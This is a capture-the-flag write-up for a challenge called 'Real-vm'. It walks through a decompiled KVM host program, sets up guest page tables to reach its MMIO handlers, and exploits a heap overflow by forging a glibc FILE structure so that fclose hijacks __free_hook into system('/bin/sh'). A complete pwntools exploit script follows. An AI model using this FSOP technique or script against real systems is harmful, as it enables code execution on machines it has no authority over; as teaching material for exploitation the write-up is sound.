# Real-vm
* The program only has `1` main function like this
```cpp=
int __fastcall main(int argc, const char **argv, const char **envp)
{
__u32 exit_reason; // eax
__u64 phys_addr; // rax
unsigned int code_len; // [rsp+4h] [rbp-42FCh] BYREF
int kvm; // [rsp+8h] [rbp-42F8h]
int vm; // [rsp+Ch] [rbp-42F4h]
int vcpu; // [rsp+10h] [rbp-42F0h]
unsigned int vcpu_mmap_size; // [rsp+14h] [rbp-42ECh]
_QWORD *usercode; // [rsp+18h] [rbp-42E8h]
void *v12; // [rsp+20h] [rbp-42E0h]
kvm_run *addr; // [rsp+28h] [rbp-42D8h]
__int64 v14; // [rsp+30h] [rbp-42D0h]
__int64 v15; // [rsp+38h] [rbp-42C8h]
__int64 v16; // [rsp+40h] [rbp-42C0h]
kvm_userspace_memory_region v17; // [rsp+50h] [rbp-42B0h] BYREF
kvm_userspace_memory_region v18; // [rsp+70h] [rbp-4290h] BYREF
kvm_regs regs; // [rsp+90h] [rbp-4270h] BYREF
kvm_regs n; // [rsp+120h] [rbp-41E0h] BYREF
kvm_sregs sregs; // [rsp+1B0h] [rbp-4150h] BYREF
char user_code[16392]; // [rsp+2F0h] [rbp-4010h] BYREF
unsigned __int64 v23; // [rsp+42F8h] [rbp-8h]
v23 = __readfsqword(0x28u);
code_len = 0;
memset(user_code, 0, 0x4000uLL);
ignore();
printf("Here is your Golden Bullet Comrade : %p\n", stdin);
puts("Give me the Code Length");
__isoc99_scanf("%u", &code_len);
if ( code_len > 0x3FFF )
{
printf("Sorry Comrade the code is too big !");
exit(-1);
}
puts("Give me Your Code Comrade");
read(0, user_code, code_len);
kvm = open("/dev/kvm", 524290);
if ( kvm == -1 )
{
puts("kvmfd error");
exit(1);
}
vm = ioctl(kvm, 0xAE01uLL, 0LL); // KVM_CREATE_VM
if ( vm == -1 )
exit(-1);
usercode = mmap(0LL, 0x10000uLL, 7, 34, -1, 0LL);
if ( usercode == (_QWORD *)-1LL )
{
printf("mmap(1) err");
exit(2);
}
v17.slot = 0;
v17.flags = 0;
v17.guest_phys_addr = 0LL;
v17.memory_size = 0x10000LL;
v17.userspace_addr = (__u64)usercode;
v12 = mmap(0LL, 0x2000uLL, 3, 34, -1, 0LL);
if ( v12 == (void *)-1LL )
exit(-1);
v18.slot = 1;
v18.flags = 2;
v18.guest_phys_addr = 90112LL;
v18.memory_size = 0x2000LL;
v18.userspace_addr = (__u64)v12;
if ( ioctl(vm, 0x4020AE46uLL, &v17) == -1 ) // KVM_SET_USER_MEMORY_REGION
exit(-1);
if ( ioctl(vm, 0x4020AE46uLL, &v18) == -1 ) // KVM_SET_USER_MEMORY_REGION
exit(-1);
usercode[0xC00] = 0x7003LL; // setting pagetables
usercode[0xE00] = 0x8003LL;
usercode[0x1000] = 0x9003LL;
usercode[0x1200] = 3LL;
usercode[4609] = 0x1003LL;
usercode[4610] = 0x2003LL;
usercode[4611] = 0x3003LL;
usercode[4612] = 0x4003LL;
usercode[4613] = 0x5003LL;
vcpu = ioctl(vm, 0xAE41uLL, 0LL); // KVM_CREATE_VCPU
if ( vcpu == -1 )
exit(-1);
vcpu_mmap_size = ioctl(kvm, 0xAE04uLL, 0LL); // KVM_GET_VCPU_MMAP_SIZE
if ( vcpu_mmap_size == -1 )
exit(-1);
if ( vcpu_mmap_size <= 0x92F )
exit(-1);
addr = (kvm_run *)mmap(0LL, (int)vcpu_mmap_size, 3, 1, vcpu, 0LL);
if ( !addr )
exit(-1);
if ( ioctl(vcpu, 0x8090AE81uLL, ®s) == -1 )// KVM_GET_REGS
exit(-1);
regs.rip = 0LL;
regs.rflags = 2LL;
if ( ioctl(vcpu, 0x4090AE82uLL, ®s) == -1 )// KVM_SET_REGS
exit(-1);
if ( ioctl(vcpu, 0x8138AE83uLL, &sregs) == -1 )// KVM_GET_SREGS
exit(-1);
sregs.cr0 = 2147811379LL;
sregs.cr4 = 32LL;
sregs.efer = 1281LL;
sregs.cr3 = 24576LL;
if ( ioctl(vcpu, 0x4138AE84uLL, &sregs) == -1 )// KVM_SET_SREGS
exit(-1);
if ( ioctl(vcpu, 0x8138AE83uLL, &sregs) < 0 ) // KVM_GET_SREGS
exit(-1);
v14 = 0LL;
v15 = 0x1030010FFFFFFFFLL;
v16 = 0x101010000LL;
sregs.cs.base = 0LL;
*(_QWORD *)&sregs.cs.limit = 0x10B0008FFFFFFFFLL;
*(_QWORD *)&sregs.cs.dpl = 0x101010000LL;
sregs.ss.base = 0LL;
*(_QWORD *)&sregs.ss.limit = 0x1030010FFFFFFFFLL;
*(_QWORD *)&sregs.ss.dpl = 0x101010000LL;
sregs.gs.base = 0LL;
*(_QWORD *)&sregs.gs.limit = 0x1030010FFFFFFFFLL;
*(_QWORD *)&sregs.gs.dpl = 0x101010000LL;
sregs.fs.base = 0LL;
*(_QWORD *)&sregs.fs.limit = 0x1030010FFFFFFFFLL;
*(_QWORD *)&sregs.fs.dpl = 0x101010000LL;
sregs.es.base = 0LL;
*(_QWORD *)&sregs.es.limit = 0x1030010FFFFFFFFLL;
*(_QWORD *)&sregs.es.dpl = 0x101010000LL;
sregs.ds.base = 0LL;
*(_QWORD *)&sregs.ds.limit = 0x1030010FFFFFFFFLL;
*(_QWORD *)&sregs.ds.dpl = 0x101010000LL;
if ( ioctl(vcpu, 0x4138AE84uLL, &sregs) < 0 ) // KVM_SET_SREGS
exit(-1);
printf("\x1B[0;91m[+] Let The VM RIP !!!!!\n\x1B[0m");
memcpy(usercode, user_code, 0x4000uLL);
while ( 1 )
{
if ( ioctl(vcpu, 0xAE80uLL, 0LL) == -1 ) // KVM_RUN
{
puts("KVM_RUN");
exit(3);
}
exit_reason = addr->exit_reason;
if ( exit_reason == 5 )
break;
if ( exit_reason != 6 ) // KVM_EXIT_MMIO
{
printf("\nreason : %llx \n", addr->exit_reason);
printf("GGs Comrade !");
exit(0);
}
phys_addr = addr->mmio.phys_addr;
if ( phys_addr == 90120 )
{
if ( !entry )
{
puts("[+] Creating Debug Entry");
entry = malloc(0x20uLL);
}
}
else if ( phys_addr > 0x16008 )
{
if ( phys_addr == 90128 )
{
if ( entry )
{
if ( ioctl(vcpu, 0x8090AE81uLL, &n) == -1 )// KVM_GET_REGS
exit(-1);
puts("[+] Reached Debug Command Center");
memcpy(entry, (char *)usercode + HIDWORD(n.rax), LODWORD(n.rax));
printf("[+] Debug Command Read ");
}
}
else
{
if ( phys_addr == 90136 )
{
fclose(file);
free(file_buf);
munmap(addr, (int)vcpu_mmap_size);
munmap(v12, 0x2000uLL);
exit(0);
}
LABEL_60:
printf("%llx", addr->mmio.phys_addr);
printf("You Screwed Up Comrade !");
}
}
else
{
if ( phys_addr != 0x16000 )
goto LABEL_60;
if ( !file )
{
file = fopen("log.txt", "r");
if ( !file )
exit(-1);
}
puts("[+] Setting Up Log File");
}
}
puts("KVM_EXIT_HLT");
return 0;
}
```
* Here the program uses the kvm module to perform virtualization. To interact with the module, the program uses a series of ioctl calls. To better understand how to use and the parameters, I went online to read some examples of how to use kvm like [here](https://github.com/dpw/kvm-hello-world/blob/master/kvm-hello-world.c)
* We can use command `strace -v ./real-vm` to better view the arguments for `ioctl`

* Pretty the same as the link above
* In these codes
```cpp=
v17.slot = 0;
v17.flags = 0;
v17.guest_phys_addr = 0LL;
v17.memory_size = 0x10000LL;
v17.userspace_addr = (__u64)usercode;
v12 = mmap(0LL, 0x2000uLL, 3, 34, -1, 0LL);
if ( v12 == (void *)-1LL )
exit(-1);
v18.slot = 1;
v18.flags = 2;
v18.guest_phys_addr = 90112LL;
v18.memory_size = 0x2000LL;
v18.userspace_addr = (__u64)v12;
if ( ioctl(vm, 0x4020AE46uLL, &v17) == -1 ) // KVM_SET_USER_MEMORY_REGION
exit(-1);
if ( ioctl(vm, 0x4020AE46uLL, &v18) == -1 ) // KVM_SET_USER_MEMORY_REGION
```
* It sets up `2` physical memory regions in our vm. First from `0->0x10000` and `0x16000-0x18000`. Both is mapped with a userspace address
* Next it sets up `RIP` in virtual machine
```cpp=
if ( ioctl(vcpu, 0x8090AE81uLL, ®s) == -1 )// KVM_GET_REGS
exit(-1);
regs.rip = 0LL;
regs.rflags = 2LL;
if ( ioctl(vcpu, 0x4090AE82uLL, ®s) == -1 )// KVM_SET_REGS
exit(-1);
```
* `rip` is set to `0`, which is where our code starts. Notice that the address of `rip` is a virtual address, and section `0->0x10000`is physical memory. So to map virtual address `0` to physical address `0` the machine use [pagetables](https://docs.kernel.org/mm/page_tables.html)
* Basically it will use serveral tables to map from virtual address to a physical address. The process is called pagewalk. The virtual address is actually index into these tables and these tables contain physical address

* The first table address(`PGD`) is stored at `CR3`
* Here we can see that `CR3` is set to `0x6000`
```
ioctl(5, KVM_SET_SREGS, {cs={base=0, limit=4294967295, selector=8, type=11, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, ds={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, es={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, fs={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, gs={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, ss={base=0, limit=4294967295, selector=16, type=3, present=1, dpl=0, db=0, s=1, l=1, g=1, avl=0}, tr={base=0, limit=65535, selector=0, type=11, present=1, dpl=0, db=0, s=0, l=0, g=0, avl=0}, ldt={base=0, limit=65535, selector=0, type=2, present=1, dpl=0, db=0, s=0, l=0, g=0, avl=0}, gdt={base=0, limit=65535}, idt={base=0, limit=65535}, cr0=2147811379, cr2=0, cr3=24576, cr4=32, cr8=0, efer=1281, apic_base=0xfee00900, interrupt_bitmap=[0, 0, 0, 0]}) = 0
```
* And here is how it sets up pagetables
```cpp=
usercode[0xC00] = 0x7003LL; // setting pagetables
usercode[0xE00] = 0x8003LL;
usercode[0x1000] = 0x9003LL;
usercode[0x1200] = 3LL;
usercode[4609] = 0x1003LL;
usercode[4610] = 0x2003LL;
usercode[4611] = 0x3003LL;
usercode[4612] = 0x4003LL;
usercode[4613] = 0x5003LL;
```
* In index `0x1200` is the `PTE` so that virtual address from `0->0x5fff` will be mapped exactly `0->0x5fff` in physically memory
* The loop handle the stop of vm
```cpp=
while ( 1 )
{
if ( ioctl(vcpu, 0xAE80uLL, 0LL) == -1 ) // KVM_RUN
{
puts("KVM_RUN");
exit(3);
}
v3 = *((_DWORD *)addr + 2);
if ( v3 == 5 )
break;
if ( v3 != 6 ) // KVM_EXIT_MMIO
{
printf("\nreason : %llx \n", *((unsigned int *)addr + 2));
printf("GGs Comrade !");
exit(0);
}
v5 = *((_QWORD *)addr + 4);
if ( v5 == 90120 )
{
if ( !entry )
{
puts("[+] Creating Debug Entry");
entry = malloc(0x20uLL);
}
}
else if ( v5 > 0x16008 )
{
if ( v5 == 90128 )
{
if ( entry )
{
if ( ioctl(vcpu, 0x8090AE81uLL, n) == -1 )// KVM_GET_REGS
exit(-1);
puts("[+] Reached Debug Command Center");
memcpy(entry, (char *)usercode + HIDWORD(n[0]), LODWORD(n[0]));
printf("[+] Debug Command Read ");
}
}
else
{
if ( v5 == 90136 )
{
fclose(file);
free(file_buf);
munmap(addr, (int)vcpu_mmap_size);
munmap(v12, 0x2000uLL);
exit(0);
}
LABEL_60:
printf("%llx", *((_QWORD *)addr + 4));
printf("You Screwed Up Comrade !");
}
}
else
{
if ( v5 != 90112 )
goto LABEL_60;
if ( !file )
{
file = fopen("log.txt", "r");
if ( !file )
exit(-1);
}
puts("[+] Setting Up Log File");
}
}
```
* So to use these option we need to trigger `KVM_EXIT_MMIO`. As i understand, we need to access some section of physical memory to trigger that. I tried accessing`0->0x10000` but it didn't work. And the section `0x16000` is out of the range
* After a few search i found [this](https://github.com/kscieslinski/CTF/tree/master/pwn/conf2020/kvm). So i figured out that i can change `CR3` to reach any address i want
* So i need to setup the pagetables first
```
mov qword ptr [0x1000], 0x2003
mov qword ptr [0x2000], 0x3003
mov qword ptr [0x3000], 0x4003
mov qword ptr [0x4000], 0x0003 # set to original base to rip continue
mov qword ptr [0x4008], 0x16003
```
* Remember to keep virtual address `0` map to `0` physical address so that our `RIP` can continue. Here in first `12` bits of entry, there're flags, but i don't know much about them tho
* And after access to `0x1000`(which is `0x16000` in physical address) i triggered the mmio. Depend on which offset to trigger the code
```cpp=
if ( v5 == 90128 )
{
if ( entry )
{
if ( ioctl(vcpu, 0x8090AE81uLL, n) == -1 )// KVM_GET_REGS
exit(-1);
puts("[+] Reached Debug Command Center");
memcpy(entry, (char *)usercode + HIDWORD(n[0]), LODWORD(n[0]));
printf("[+] Debug Command Read ");
}
```
* We can clearly see that we can trigger overflow with `0x16010`
* With address `0x16000` the program opens a file using `fopen`, then it will create `1` struct `FILE` in heap. Since there's overflow, i can overwrite `FILE` srtuct ->`FSOP`.
* `fclose` funciton
```cpp=
int
_IO_new_fclose (FILE *fp)
{
int status;
CHECK_FILE(fp, EOF); // check flag must be 0xfbad0000
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_flags & _IO_IS_FILEBUF) //#define _IO_IS_FILEBUF 0x2000
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_flags & _IO_IS_FILEBUF) //#define _IO_IS_FILEBUF 0x2000
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.step);
__gconv_release_step (cc->__cd_out.step);
__libc_lock_unlock (__gconv_lock);
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
_IO_deallocate_file (fp);
return status;
}
```
* Here i set flag `_IO_IS_FILEBUF` to trigger `status = _IO_file_close_it (fp);`
```cpp=
int
_IO_new_file_close_it (FILE *fp)
{
int write_status;
if (!_IO_file_is_open (fp))
return EOF;
if ((fp->_flags & _IO_NO_WRITES) == 0 // #define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
&& (fp->_flags & _IO_CURRENTLY_PUTTING) != 0) //#define _IO_CURRENTLY_PUTTING 0x0800
write_status = _IO_do_flush (fp);
else
write_status = 0;
_IO_unsave_markers (fp);
int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
? _IO_SYSCLOSE (fp) : 0);
/* Free buffer. */
if (fp->_mode > 0)
{
if (_IO_have_wbackup (fp))
_IO_free_wbackup_area (fp);
_IO_wsetb (fp, NULL, NULL, 0);
_IO_wsetg (fp, NULL, NULL, NULL);
_IO_wsetp (fp, NULL, NULL);
}
_IO_setb (fp, NULL, NULL, 0);
_IO_setg (fp, NULL, NULL, NULL);
_IO_setp (fp, NULL, NULL);
_IO_un_link ((struct _IO_FILE_plus *) fp);
fp->_flags = _IO_MAGIC|CLOSED_FILEBUF_FLAGS;
fp->_fileno = -1;
fp->_offset = _IO_pos_BAD;
return close_status ? close_status : write_status;
}
libc_hidden_ver (_IO_new_file_close_it, _IO_file_close_it)
```
* Here i set flag `_IO_CURRENTLY_PUTTING` to trigger `write_status = _IO_do_flush (fp);`
```cpp=
#define _IO_do_flush(_f) \
((_f)->_mode <= 0 \
? _IO_do_write(_f, (_f)->_IO_write_base, \
(_f)->_IO_write_ptr-(_f)->_IO_write_base) \
: _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base, \
((_f)->_wide_data->_IO_write_ptr \
- (_f)->_wide_data->_IO_write_base)))
```
* Since `_f->_mode` less than `0` so it will call `_IO_do_write`. I can controll all `_IO_write_base`, `_IO_write_ptr`
```cpp=
int
_IO_new_do_write (FILE *fp, const char *data, size_t to_do)
{
return (to_do == 0
|| (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING) // #define _IO_IS_APPENDING 0x1000
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
```
* I set flag `_IO_IS_APPENDING` to bypass `SYSEEK`
* The code `_IO_SYSWRITE (fp, data, to_do)` is a call to `_IO_write_t` in `fp->vtable`
```cpp=
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
```
* I change the `vtable` so that it calls `_IO_read_t` instead of `_IO_write_t ` and set `fp->fd` to `0`(stdin). So i have arbitrary write
* After the read, back to `_IO_new_file_close_it`
```cpp=
_IO_unsave_markers (fp);
int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
? _IO_SYSCLOSE (fp) : 0);
/* Free buffer. */
if (fp->_mode > 0)
{
if (_IO_have_wbackup (fp))
_IO_free_wbackup_area (fp);
_IO_wsetb (fp, NULL, NULL, 0);
_IO_wsetg (fp, NULL, NULL, NULL);
_IO_wsetp (fp, NULL, NULL);
}
_IO_setb (fp, NULL, NULL, 0);
_IO_setg (fp, NULL, NULL, NULL);
_IO_setp (fp, NULL, NULL);
_IO_un_link ((struct _IO_FILE_plus *) fp);
fp->_flags = _IO_MAGIC|CLOSED_FILEBUF_FLAGS;
fp->_fileno = -1;
fp->_offset = _IO_pos_BAD;
return close_status ? close_status : write_status;
```
* `_IO_setb`
```cpp=
void
_IO_setb (FILE *f, char *b, char *eb, int a)
{
if (f->_IO_buf_base && !(f->_flags & _IO_USER_BUF))
free (f->_IO_buf_base);
f->_IO_buf_base = b;
f->_IO_buf_end = eb;
if (a)
f->_flags &= ~_IO_USER_BUF;
else
f->_flags |= _IO_USER_BUF;
}
libc_hidden_def (_IO_setb)
```
* We see that it calls `free(f->_IO_buf_base)`. So i just need to write `system` to `__free_hook` and `f->_IO_buf_base` to `/bin/sh`.
* The fake `FILE`
```py=
TARGET = libc.address + 0x3c3750
overwrite = TARGET - 0x78 # change io_do_write
BUF = 0x3c4120 + libc.address
file = p64(0xfbad0000 | 0x800 | 0x2000 | 0x1000 | 0x8000) + p64(0)*3 + p64(libc.symbols['__free_hook']) + p64(libc.symbols['__free_hook'] + 8) + p64(libc.symbols['environ'] + 8)
file += p64(next(libc.search(b'/bin/sh\x00'))) + p64(0)*6 + p64(0) + p64(0)*2 + p64(BUF) + p64(0xffffffffffffffff) + p64(0)*5 + p64(0x0) + p64(0)*2 + p64(overwrite)
```
* Done

* Script
```py=
#!/usr/bin/python3
from pwn import *
sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
elf = context.binary = ELF('real-vm')
libc = ELF('libc-2.23.so')
def int_from_bytes(bytes):
return int.from_bytes(bytes, byteorder='little')
def GDB(proc):
gdb.attach(p, gdbscript='''
b *(main + 1948)
c
del
b fclose
c
b _IO_file_close_it
c
b _IO_setb
c
''')
#L3AK{KVM_4ND_F50P_1N_0N3_CH4113N63_7H15_MU57_B3_4_Dr34M}
p = process()
GDB(p)
ru(b'Comrade : ')
leak = rl()[:-1]
leak = int(leak.decode(), 16)
libc.address = leak - 0x3c48e0
print('leak: ', hex(leak))
print('libc: ', hex(libc.address))
shellcode = shellcraft.write(1, "hihihih", 0x100)
'''
mov qword ptr [0x1000], 0x2003
mov qword ptr [0x2000], 0x3003
mov qword ptr [0x3000], 0x4003
mov qword ptr [0x4000], 0x0003 # set to original base to rip continue
mov qword ptr [0x4008], 0x16003
mov rax, 0x1000
mov cr3, rax
mov rax, 0xdeadbeef
mov qword ptr [0x1000], 0xdead # open file
mov qword ptr [0x1008], 0xdead
mov qword ptr [0x1008], 0xdead
hlt'''
shellcode = '''
mov qword ptr [0x1000], 0x2003
mov qword ptr [0x2000], 0x3003
mov qword ptr [0x3000], 0x4003
mov qword ptr [0x4000], 0x0003
mov qword ptr [0x4008], 0x16003
mov rax, 0x1000
mov cr3, rax
mov rax, 0
mov qword ptr [0x1008], 0xdead
mov qword ptr [0x1010], 0xdead
mov qword ptr [0x1000], 0xdead
mov rax, 0x100000000110
mov qword ptr [0x1010], 0xdead
mov qword ptr [0x1018], 0xdead
hlt'''
TARGET = libc.address + 0x3c3750
overwrite = TARGET - 0x78 # change io_do_write
BUF = 0x3c4120 + libc.address
file = p64(0xfbad0000 | 0x800 | 0x2000 | 0x1000 | 0x8000) + p64(0)*3 + p64(libc.symbols['__free_hook']) + p64(libc.symbols['__free_hook'] + 8) + p64(libc.symbols['environ'] + 8)
file += p64(next(libc.search(b'/bin/sh\x00'))) + p64(0)*6 + p64(0) + p64(0)*2 + p64(BUF) + p64(0xffffffffffffffff) + p64(0)*5 + p64(0x0) + p64(0)*2 + p64(overwrite)
payload = bytes(asm(shellcode))
payload = payload.ljust(0x1000, b'\x90')
payload += b'A'*0x20 + p64(0) + p64(0x231) + file
sla(b'Length', str(len(payload)).encode())
sa(b'Comrade', payload)
p.wait(0.5)
s(p64(libc.symbols['system']))
p.interactive()
```